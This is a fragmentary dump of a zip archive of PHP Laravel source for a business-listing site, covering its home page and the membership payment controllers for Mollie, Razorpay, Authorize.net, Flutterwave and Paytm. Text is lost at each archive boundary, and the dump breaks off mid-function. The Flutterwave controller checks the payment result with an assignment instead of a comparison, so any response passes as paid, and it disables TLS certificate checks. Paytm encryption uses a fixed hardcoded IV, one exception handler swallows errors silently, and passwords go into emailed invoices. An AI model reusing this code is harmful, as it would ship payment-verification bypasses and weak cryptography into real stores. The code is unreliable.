'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); } ) ->when( 'listings.vendor_id' != "0", function ($query) { return $query->leftJoin('vendors', 'listings.vendor_id', '=', 'vendors.id') ->where(function ($query) { $query->where([ [ 'vendors.status', '=', 1 ], ])->orWhere('listings.vendor_id', '=', 0); }); } ) ->select( 'listings.*', 'listing_contents.title', 'listing_contents.slug', 'listing_contents.category_id', 'listing_contents.city_id', 'listing_contents.state_id', 'listing_contents.country_id', 'listing_contents.description', 'listing_contents.address', 'listing_categories.name as category_name', 'listing_categories.icon as icon', ) ->take(8) ->orderBy('listings.id', 'desc') ->get(); $latest_listing_content_total = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->join('listing_categories', 'listing_categories.id', '=', 'listing_contents.category_id') ->where('listing_contents.language_id', $language->id) ->where([ ['listings.status', '=', '1'], ['listings.visibility', '=', '1'] ]) ->when( 'listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); } ) ->when( 'listings.vendor_id' != "0", function ($query) { return $query->leftJoin('vendors', 'listings.vendor_id', '=', 'vendors.id') ->where(function ($query) { $query->where([ [ 'vendors.status', '=', 1 ], ])->orWhere('listings.vendor_id', '=', 0); }); } ) ->select( 'listings.*', 'listing_contents.title', 'listing_contents.slug', 'listing_contents.category_id', 'listing_contents.city_id', 'listing_contents.state_id', 'listing_contents.country_id', 'listing_contents.description', 'listing_contents.address', 'listing_categories.name as category_name', 'listing_categories.icon as icon', ) ->orderBy('listings.id', 'desc') ->get(); $information['latest_listing_content_total'] = $latest_listing_content_total; $information['latest_listing_contents'] = $latest_listing_contents; } if ($themeVersion == 1) { return view('frontend.home.index-v1', $information); } elseif ($themeVersion == 2) { return view('frontend.home.index-v2', $information); } elseif ($themeVersion == 3) { return view('frontend.home.index-v3', $information); } elseif ($themeVersion == 4) { return view('frontend.home.index-v4', $information); } } public function about() { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['seoInfo'] = $language->seoInfo()->select('meta_keywords_about_page', 'meta_description_about_page')->first(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $secInfo = Section::query()->first(); $information['secInfo'] = $secInfo; if ($secInfo->work_process_section_status == 1) { $information['workProcessSecInfo'] = $language->workProcessSection()->first(); $information['processes'] = $language->workProcess()->orderBy('serial_number', 'asc')->get(); } if ($secInfo->testimonial_section_status == 1) { $information['testimonialSecInfo'] = $language->testimonialSection()->first(); $information['testimonials'] = $language->testimonial()->orderByDesc('id')->get(); $information['testimonialSecImage'] = Basic::query()->pluck('testimonial_section_image')->first(); } if ($secInfo->counter_section_status == 1) { $information['counterSectionImage'] = Basic::query()->pluck('counter_section_image')->first(); $information['counterSectionInfo'] = CounterSection::where('language_id', $language->id)->first(); $information['counters'] = $language->counterInfo()->orderByDesc('id')->get(); } return view('frontend.about', $information); } public function pricing(Request $request) { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['bgImg'] = $misc->getBreadcrumb(); $information['packageSecInfo'] = PackageSection::where('language_id', $language->id)->first(); $information['seoInfo'] = $language->seoInfo()->select('meta_keyword_pricing', 'meta_description_pricing')->first(); $terms = []; if (Package::query()->where('status', '1')->where('term', 'monthly')->count() > 0) { $terms[] = 'Monthly'; } if (Package::query()->where('status', '1')->where('term', 'yearly')->count() > 0) { $terms[] = 'Yearly'; } if (Package::query()->where('status', '1')->where('term', 'lifetime')->count() > 0) { $terms[] = 'Lifetime'; } $information['terms'] = $terms; $information['pageHeading'] = $misc->getPageHeading($language); return view('frontend.pricing', $information); } //offline public function offline() { return view('frontend.offline'); } } PK(\ֈt Http/Controllers/Controller.phpnu[firstOrFail(); return $baseCurrencyInfo; } public function makeInvoice($request, $key, $member, $password, $amount, $payment_method, $phone, $base_currency_symbol_position, $base_currency_symbol, $base_currency_text, $order_id, $package_title, $membership) { $file_name = uniqid($key) . ".pdf"; $pdf = PDF::loadView('pdf.membership', compact('request', 'member', 'password', 'amount', 'payment_method', 'phone', 'base_currency_symbol_position', 'base_currency_symbol', 'base_currency_text', 'order_id', 'package_title', 'membership')); $output = $pdf->output(); @mkdir(public_path('assets/front/invoices/'), 0775, true); file_put_contents(public_path('assets/front/invoices/') . $file_name, $output); return $file_name; } public function sendMailWithPhpMailer($request, $file_name, $bs, $subject, $body, $email, $name) { //larave facade mail if ($bs->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $bs->smtp_host, 'port' => $bs->smtp_port, 'encryption' => $bs->encryption, 'username' => $bs->smtp_username, 'password' => $bs->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { session()->flash('error', $e->getMessage()); return back(); } } $data = [ 'to' => $email, 'subject' => $subject, 'body' => $body, 'file_name' => public_path('assets/front/invoices/') . $file_name, ]; try { if ($bs->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $bs) { $fromMail = $bs->from_mail; $fromName = $bs->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); $message->attach($data['file_name'], [ 'as' => 'Attachment', 'mime' => 'application/pdf', ]); }); } return; } catch (\Exception $e) { Session::flash('error', 'Something went wrong.'); return back(); } //larave facade mail end } } PK(\ ))-Http/Controllers/Payment/MollieController.phpnu[first(); $paydata = $data->convertAutoData(); $this->public_key = $paydata['key']; Config::set('mollie.key', $paydata['key']); } public function paymentProcess(Request $request, $_amount, $_success_url, $_cancel_url, $_title, $bex) { $notify_url = $_success_url; $payment = Mollie::api()->payments()->create([ 'amount' => [ 'currency' => $bex->base_currency_text, 'value' => '' . sprintf('%0.2f', $_amount) . '', // You must send the correct number of decimals, thus we enforce the use of strings ], 'description' => $_title, 'redirectUrl' => $notify_url, ]); /** add payment ID to session **/ Session::put('request', $request->all()); Session::put('payment_id', $payment->id); Session::put('success_url', $_success_url); $payment = Mollie::api()->payments()->get($payment->id); return redirect($payment->getCheckoutUrl(), 303); } public function successPayment(Request $request) { $requestData = Session::get('request'); $bs = Basic::first(); $cancel_url = Session::get('cancel_url'); $payment_id = Session::get('payment_id'); /** Get the payment ID before session clear **/ $payment = Mollie::api()->payments()->get($payment_id); if ($payment->status == 'paid') { $paymentFor = Session::get('paymentFor'); $package = Package::find($requestData['package_id']); $transaction_id = VendorPermissionHelper::uniqidReal(8); $transaction_details = json_encode($payment); if ($paymentFor == "membership") { $amount = $requestData['price']; $password = $requestData['password']; $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $vendor->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "membership", $vendor, $password, $amount, "Paypal", $requestData['phone'], $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'discount' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->discount . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'total' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'registrationWithPremiumPackage' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', 'Your payment has been completed.'); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } elseif ($paymentFor == "extend") { $amount = $requestData['price']; $password = uniqid('qrcode'); $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = Membership::where('vendor_id', $vendor->id)->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "extend", $vendor, $password, $amount, $requestData["payment_method"], $vendor->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'membershipExtend' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } } return redirect($cancel_url); } public function cancelPayment() { $requestData = Session::get('request'); $paymentFor = Session::get('paymentFor'); session()->flash('warning', __('cancel_payment')); if ($paymentFor == "membership") { return redirect()->route('front.register.view', ['status' => $requestData['package_type'], 'id' => $requestData['package_id']])->withInput($requestData); } else { return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $requestData['package_id']])->withInput($requestData); } } } PK(\D&&/Http/Controllers/Payment/RazorpayController.phpnu[first(); $paydata = $data->convertAutoData(); $this->keyId = $paydata['key']; $this->keySecret = $paydata['secret']; $this->api = new Api($this->keyId, $this->keySecret); } public function paymentProcess(Request $request, $_amount, $_item_number, $_cancel_url, $_success_url, $_title, $_description, $bs) { $cancel_url = $_cancel_url; $notify_url = $_success_url; $orderData = [ 'receipt' => $_title, 'amount' => $_amount * 100, 'currency' => 'INR', 'payment_capture' => 1 // auto capture ]; $razorpayOrder = $this->api->order->create($orderData); Session::put('request', $request->all()); Session::put('order_payment_id', $razorpayOrder['id']); $displayAmount = $amount = $_amount; $checkout = 'automatic'; if (isset($_GET['checkout']) and in_array($_GET['checkout'], ['automatic', 'manual'], true)) { $checkout = $_GET['checkout']; } $data = [ "key" => $this->keyId, "amount" => $_amount, "name" => $_title, "description" => $_description, "prefill" => [ "name" => $request->name, "email" => $request->address, "contact" => $request->razorpay_phone, ], "notes" => [ "address" => $request->razorpay_address, "merchant_order_id" => $_item_number, ], "theme" => [ "color" => "{{$bs->base_color}}" ], "order_id" => $razorpayOrder['id'], ]; if ($bs->base_currency_text !== 'INR') { $data['display_currency'] = $bs->base_currency_text; $data['display_amount'] = $displayAmount; } $json = json_encode($data); $displayCurrency = $bs->base_currency_text; return view('front.razorpay', compact('data', 'displayCurrency', 'json', 'notify_url')); } public function successPayment(Request $request) { $requestData = Session::get('request'); if (session()->has('lang')) { $currentLang = Language::where('code', session()->get('lang'))->first(); } else { $currentLang = Language::where('is_default', 1)->first(); } $bs = Basic::first(); /** Get the payment ID before session clear **/ $payment_id = Session::get('order_payment_id'); $success = true; if (empty($request['razorpay_payment_id']) === false) { try { $attributes = array( 'razorpay_order_id' => $payment_id, 'razorpay_payment_id' => $request['razorpay_payment_id'], 'razorpay_signature' => $request['razorpay_signature'] ); $this->api->utility->verifyPaymentSignature($attributes); } catch (SignatureVerificationError $e) { $success = false; } } if ($success === true) { $package = Package::find($requestData['package_id']); $paymentFor = Session::get('paymentFor'); $transaction_id = VendorPermissionHelper::uniqidReal(8); $transaction_details = json_encode($request); if ($paymentFor == "membership") { $amount = $requestData['price']; $password = $requestData['password']; $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $vendor->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "membership", $vendor, $password, $amount, "Razorpay", $requestData['phone'], $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'discount' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->discount . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'total' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'registrationWithPremiumPackage' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', 'Your payment has been completed.'); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } elseif ($paymentFor == "extend") { $amount = $requestData['price']; $password = uniqid('qrcode'); $checkout = new VendorCheckoutController(); $user = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $user->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "extend", $user, $password, $amount, $requestData["payment_method"], $user->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $user->email, 'toName' => $user->fname, 'username' => $user->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'membershipExtend' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', __('successful_payment')); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } } $paymentFor = Session::get('paymentFor'); session()->flash('warning', __('cancel_payment')); if ($paymentFor == "membership") { return redirect()->route('front.register.view', ['status' => $requestData['package_type'], 'id' => $requestData['package_id']])->withInput($requestData); } else { return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $requestData['package_id']])->withInput($requestData); } } public function cancelPayment() { $requestData = Session::get('request'); $paymentFor = Session::get('paymentFor'); session()->flash('warning', __('cancel_payment')); if ($paymentFor == "membership") { return redirect()->route('front.register.view', ['status' => $requestData['package_type'], 'id' => $requestData['package_id']])->withInput($requestData); } else { return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $requestData['package_id']])->withInput($requestData); } } } PK(\$#$#0Http/Controllers/Payment/AuthorizeController.phpnu[whereKeyword('authorize.net')->first(); $authorizeNetData = json_decode($data->information, true); $this->gateway = Omnipay::create('AuthorizeNetApi_Api'); $this->gateway->setAuthName($authorizeNetData['login_id']); $this->gateway->setTransactionKey($authorizeNetData['transaction_key']); if ($authorizeNetData['sandbox_check'] == 1) { $this->gateway->setTestMode(true); } } public function paymentProcess(Request $request, $_amount, $_success_url, $_cancel_url, $_title, $bs) { try { $allowedCurrencies = array('USD', 'CAD', 'CHF', 'DKK', 'EUR', 'GBP', 'NOK', 'PLN', 'SEK', 'AUD', 'NZD'); $currencyInfo = $this->getCurrencyInfo(); // checking whether the base currency is allowed or not if (!in_array($currencyInfo->base_currency_text, $allowedCurrencies)) { return redirect()->back()->with('error', 'Invalid currency for authorize.net payment.')->withInput(); } Session::put('request', $request->all()); $requestData = $request->all(); $bs = Basic::first(); if ($request->filled('opaqueDataValue') && $request->filled('opaqueDataDescriptor')) { // generate a unique merchant site transaction ID $transactionId = rand(100000000, 999999999); $response = $this->gateway->authorize([ 'amount' => sprintf('%0.2f', $_amount), 'currency' => $currencyInfo->base_currency_text, 'transactionId' => $transactionId, 'opaqueDataDescriptor' => $request->opaqueDataDescriptor, 'opaqueDataValue' => $request->opaqueDataValue ])->send(); if ($response->isSuccessful()) { //success process will be go here $paymentFor = Session::get('paymentFor'); $response = json_encode($response, true); $package = Package::find($requestData['package_id']); $transaction_id = VendorPermissionHelper::uniqidReal(8); $transaction_details = $response; if ($paymentFor == "membership") { $amount = $requestData['price']; $password = $requestData['password']; $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $vendor->memberships()->orderBy( 'id', 'DESC' )->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "membership", $vendor, $password, $amount, "Paypal", $requestData['phone'], $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'discount' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->discount . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'total' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'registrationWithPremiumPackage' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', 'Your payment has been completed.'); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } elseif ($paymentFor == "extend") { $amount = $requestData['price']; $password = uniqid('qrcode'); $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = Membership::where('vendor_id', $vendor->id)->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "extend", $vendor, $password, $amount, $requestData["payment_method"], $vendor->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'membershipExtend' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } } else { //cancel payment return redirect($_cancel_url); } } else { //return cancel url return redirect($_cancel_url); } } catch (\Exception $th) { } } public function cancelPayment() { $requestData = Session::get('request'); $paymentFor = Session::get('paymentFor'); session()->flash('warning', 'Your payment has been cancel.'); if ($paymentFor == "membership") { return redirect()->route('front.register.view', ['status' => $requestData['package_type'], 'id' => $requestData['package_id']])->withInput($requestData); } else { return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $requestData['package_id']])->withInput($requestData); } } } PK(\H<))2Http/Controllers/Payment/FlutterWaveController.phpnu[first(); $paydata = $data->convertAutoData(); $this->public_key = $paydata['public_key']; $this->secret_key = $paydata['secret_key']; } public function paymentProcess(Request $request, $_amount, $_email, $_item_number, $_successUrl, $_cancelUrl, $bex) { $cancel_url = $_cancelUrl; $notify_url = $_successUrl; Session::put('request', $request->all()); Session::put('payment_id', $_item_number); // SET CURL $curl = curl_init(); $currency = $bex->base_currency_text; $txref = $_item_number; // ensure you generate unique references per transaction. $PBFPubKey = $this->public_key; // get your public key from the dashboard. $redirect_url = $notify_url; $payment_plan = ""; // this is only required for recurring payments. curl_setopt_array($curl, array( CURLOPT_URL => "https://api.ravepay.co/flwv3-pug/getpaidx/api/v2/hosted/pay", CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => json_encode([ 'amount' => $_amount, 'customer_email' => $_email, 'currency' => $currency, 'txref' => $txref, 'PBFPubKey' => $PBFPubKey, 'redirect_url' => $redirect_url, 'payment_plan' => $payment_plan ]), CURLOPT_HTTPHEADER => [ "content-type: application/json", "cache-control: no-cache" ], )); $response = curl_exec($curl); $err = curl_error($curl); if ($err) { // there was an error contacting the rave API return redirect($cancel_url)->with('error', 'Curl returned error: ' . $err); } $transaction = json_decode($response); if (!$transaction->data && !$transaction->data->link) { // there was an error from the API return redirect($cancel_url)->with('error', 'API returned error: ' . $transaction->message); } return redirect()->to($transaction->data->link); } public function successPayment(Request $request) { $requestData = Session::get('request'); if (session()->has('lang')) { $currentLang = Language::where('code', session()->get('lang'))->first(); } else { $currentLang = Language::where('is_default', 1)->first(); } $bs = Basic::first(); $success_url = route('membership.flutterwave.cancel'); $cancel_url = route('membership.flutterwave.cancel'); /** Get the payment ID before session clear **/ $payment_id = Session::get('payment_id'); if (isset($request['txref'])) { $ref = $payment_id; $query = array( "SECKEY" => $this->secret_key, "txref" => $ref ); $data_string = json_encode($query); $ch = curl_init('https://api.ravepay.co/flwv3-pug/getpaidx/api/v2/verify'); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); $response = curl_exec($ch); curl_close($ch); $resp = json_decode($response, true); if ($resp['status'] == 'error') { return redirect($cancel_url); } if ($resp['status'] = "success") { $paymentStatus = $resp['data']['status']; $paymentFor = Session::get('paymentFor'); if ($resp['status'] = "success") { $package = Package::find($requestData['package_id']); $transaction_id = VendorPermissionHelper::uniqidReal(8); $transaction_details = json_encode($resp['data']); if ($paymentFor == "membership") { $amount = $requestData['price']; $password = $requestData['password']; $checkout = new VendorCheckoutController(); $user = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $user->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "membership", $user, $password, $amount, "Flutterwave", $requestData['phone'], $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $user->email, 'toName' => $user->fname, 'username' => $user->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'discount' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->discount . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'total' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'registrationWithPremiumPackage' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', __('successful_payment')); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } elseif ($paymentFor == "extend") { $amount = $requestData['price']; $password = uniqid('qrcode'); $checkout = new VendorCheckoutController(); $user = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $user->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "extend", $user, $password, $amount, $requestData["payment_method"], $user->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $user->email, 'toName' => $user->fname, 'username' => $user->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'membershipExtend' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', 'Your payment has been completed.'); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } } } return redirect($cancel_url); } return redirect($cancel_url); } public function cancelPayment() { $requestData = Session::get('request'); $paymentFor = Session::get('paymentFor'); session()->flash('warning', __('cancel_payment')); if ($paymentFor == "membership") { return redirect()->route('front.register.view', ['status' => $requestData['package_type'], 'id' => $requestData['package_id']])->withInput($requestData); } else { return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $requestData['package_id']])->withInput($requestData); } } } PK(\֗@E@E,Http/Controllers/Payment/PaytmController.phpnu[first(); $paydata = $data->convertAutoData(); $data_for_request = $this->handlePaytmRequest($_item_number, $_amount, $_callback_url); if ($paydata['environment'] == 'local') { $paytm_txn_url = 'https://securegw-stage.paytm.in/theia/processTransaction'; } else { $paytm_txn_url = 'https://securegw.paytm.in/theia/processTransaction'; } $paramList = $data_for_request['paramList']; $checkSum = $data_for_request['checkSum']; Session::put("request", $request->all()); return view('front.paytm', compact('paytm_txn_url', 'paramList', 'checkSum')); } public function handlePaytmRequest($_item_number, $amount, $callback_url) { $data = OnlineGateway::whereKeyword('paytm')->first(); $paydata = $data->convertAutoData(); // Load all functions of encdec_paytm.php and config-paytm.php $this->getAllEncdecFunc(); $checkSum = ""; $paramList = array(); // Create an array having all required parameters for creating checksum. $paramList["MID"] = $paydata['merchant_mid']; $paramList["ORDER_ID"] = $_item_number; $paramList["CUST_ID"] = $_item_number; $paramList["INDUSTRY_TYPE_ID"] = $paydata['industry_type']; $paramList["CHANNEL_ID"] = 'WEB'; $paramList["TXN_AMOUNT"] = $amount; $paramList["WEBSITE"] = $paydata['merchant_website']; $paramList["CALLBACK_URL"] = $callback_url; $paytm_merchant_key = $paydata['merchant_key']; //Here checksum string will return by getChecksumFromArray() function. $checkSum = getChecksumFromArray($paramList, $paytm_merchant_key); return array( 'checkSum' => $checkSum, 'paramList' => $paramList ); } function getAllEncdecFunc() { function encrypt_e($input, $ky) { $key = html_entity_decode($ky); $iv = "@@@@&&&&####$$$$"; $data = openssl_encrypt($input, "AES-128-CBC", $key, 0, $iv); return $data; } function decrypt_e($crypt, $ky) { $key = html_entity_decode($ky); $iv = "@@@@&&&&####$$$$"; $data = openssl_decrypt($crypt, "AES-128-CBC", $key, 0, $iv); return $data; } function pkcs5_pad_e($text, $blocksize) { $pad = $blocksize - (strlen($text) % $blocksize); return $text . str_repeat(chr($pad), $pad); } function pkcs5_unpad_e($text) { $pad = ord($text[strlen($text) - 1]); if ($pad > strlen($text)) return false; return substr($text, 0, -1 * $pad); } function 